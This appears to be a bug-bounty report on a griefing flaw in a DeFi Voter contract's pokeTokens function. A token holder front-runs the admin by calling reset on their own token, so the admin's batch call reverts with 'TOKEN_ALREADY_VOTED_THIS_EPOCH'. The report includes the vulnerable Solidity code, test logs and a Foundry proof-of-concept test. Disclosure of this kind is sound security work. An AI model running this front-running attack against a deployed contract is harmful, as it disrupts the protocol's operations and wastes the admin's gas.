31514 - [SC - Medium] Malicious users can cause pokeTokens to revert
Previous31512 - [SC - Critical] Infinite minting of FLUX through MergeNext31519 - [SC - Low] Lack of revert statement in Votersolpoke result...
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
function pokeTokens(uint256[] memory _tokenIds) external {
require(msg.sender == admin, "not admin");
for (uint256 i = 0; i < _tokenIds.length; i++) {
uint256 _tokenId = _tokenIds[i];
// If the token has expired, reset it
if (block.timestamp > IVotingEscrow(veALCX).lockEnd(_tokenId)) {
reset(_tokenId);
}
poke(_tokenId);
}
} function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
if (msg.sender != admin) {
require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
}
lastVoted[_tokenId] = block.timestamp;
_reset(_tokenId);
IVotingEscrow(veALCX).abstain(_tokenId);
IFluxToken(FLUX).accrueFlux(_tokenId);
} modifier onlyNewEpoch(uint256 _tokenId) {
// Ensure new epoch since last vote
require((block.timestamp / DURATION) * DURATION > lastVoted[_tokenId], "TOKEN_ALREADY_VOTED_THIS_EPOCH");
_;
}[PASS] testGriefPokeTokens() (gas: 7570291)
Logs:
Beef frontruns pokeTokens() call and resets last token in array (tokenId5).
Admin pokeTokens() reverts. Gas cost is high because last token caused revert.
Remove tokenId5 from array and try again.
Beef frontruns pokeTokens() call and resets last token in array (tokenId4).
Admin pokeTokens() reverts. Gas cost is high because last token caused revert.
Remove tokenId4 from array and try again.
Beef frontruns pokeTokens() call and resets last token in array (tokenId3).
Admin pokeTokens() reverts. Gas cost is high because last token caused revert.
Remove tokenId3 from array and try again.
Admin finally calls pokeTokens() successfully.function testGriefPokeTokens() public {
// Kick off epoch cycle
hevm.warp(newEpoch());
voter.distribute();
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, 3 weeks, false);
uint256 tokenId2 = createVeAlcx(admin, TOKEN_1, 3 weeks, false);
uint256 tokenId3 = createVeAlcx(beef, TOKEN_1, 3 weeks, false);
uint256 tokenId4 = createVeAlcx(beef, TOKEN_1, 3 weeks, false);
uint256 tokenId5 = createVeAlcx(beef, TOKEN_1, 3 weeks, false);
uint256[] memory tokens = new uint256[](5);
tokens[0] = tokenId1;
tokens[1] = tokenId2;
tokens[2] = tokenId3;
tokens[3] = tokenId4;
tokens[4] = tokenId5;
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
hevm.startPrank(admin);
// Vote and record used weights
voter.vote(tokenId1, pools, weights, 0);
voter.vote(tokenId2, pools, weights, 0);
hevm.stopPrank();
hevm.startPrank(beef);
voter.vote(tokenId3, pools, weights, 0);
voter.vote(tokenId4, pools, weights, 0);
voter.vote(tokenId5, pools, weights, 0);
hevm.stopPrank();
hevm.startPrank(admin);
uint256 usedWeight1 = voter.usedWeights(tokenId2);
uint256 totalWeight1 = voter.totalWeight();
// Move forward 3 weeks to expire locks
hevm.warp(newEpoch());
hevm.warp(newEpoch());
hevm.warp(newEpoch());
voter.distribute();
// Move to when token1 expires
hevm.warp(block.timestamp + 3 weeks);
// Mock poking idle tokens to sync voting
hevm.stopPrank();
console.log("Beef frontruns pokeTokens() call and resets last token in array (tokenId5).");
hevm.prank(beef);
voter.reset(tokenId5);
console.log("Admin pokeTokens() reverts. Gas cost is high because last token caused revert.");
hevm.prank(voter.admin());
hevm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
voter.pokeTokens(tokens);
console.log("Remove tokenId5 from array and try again.");
uint256[] memory tokens2 = new uint256[](4);
tokens2[0] = tokenId1;
tokens2[1] = tokenId2;
tokens2[2] = tokenId3;
tokens2[3] = tokenId4;
console.log("Beef frontruns pokeTokens() call and resets last token in array (tokenId4).");
hevm.prank(beef);
voter.reset(tokenId4);
console.log("Admin pokeTokens() reverts. Gas cost is high because last token caused revert.");
hevm.prank(voter.admin());
hevm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
voter.pokeTokens(tokens2);
console.log("Remove tokenId4 from array and try again.");
uint256[] memory tokens3 = new uint256[](3);
tokens3[0] = tokenId1;
tokens3[1] = tokenId2;
tokens3[2] = tokenId3;
console.log("Beef frontruns pokeTokens() call and resets last token in array (tokenId3).");
hevm.prank(beef);
voter.reset(tokenId3);
console.log("Admin pokeTokens() reverts. Gas cost is high because last token caused revert.");
hevm.prank(voter.admin());
hevm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
voter.pokeTokens(tokens3);
console.log("Remove tokenId3 from array and try again.");
uint256[] memory tokens4 = new uint256[](2);
tokens4[0] = tokenId1;
tokens4[1] = tokenId2;
console.log("Admin finally calls pokeTokens() successfully.");
hevm.prank(voter.admin());
voter.pokeTokens(tokens4);
}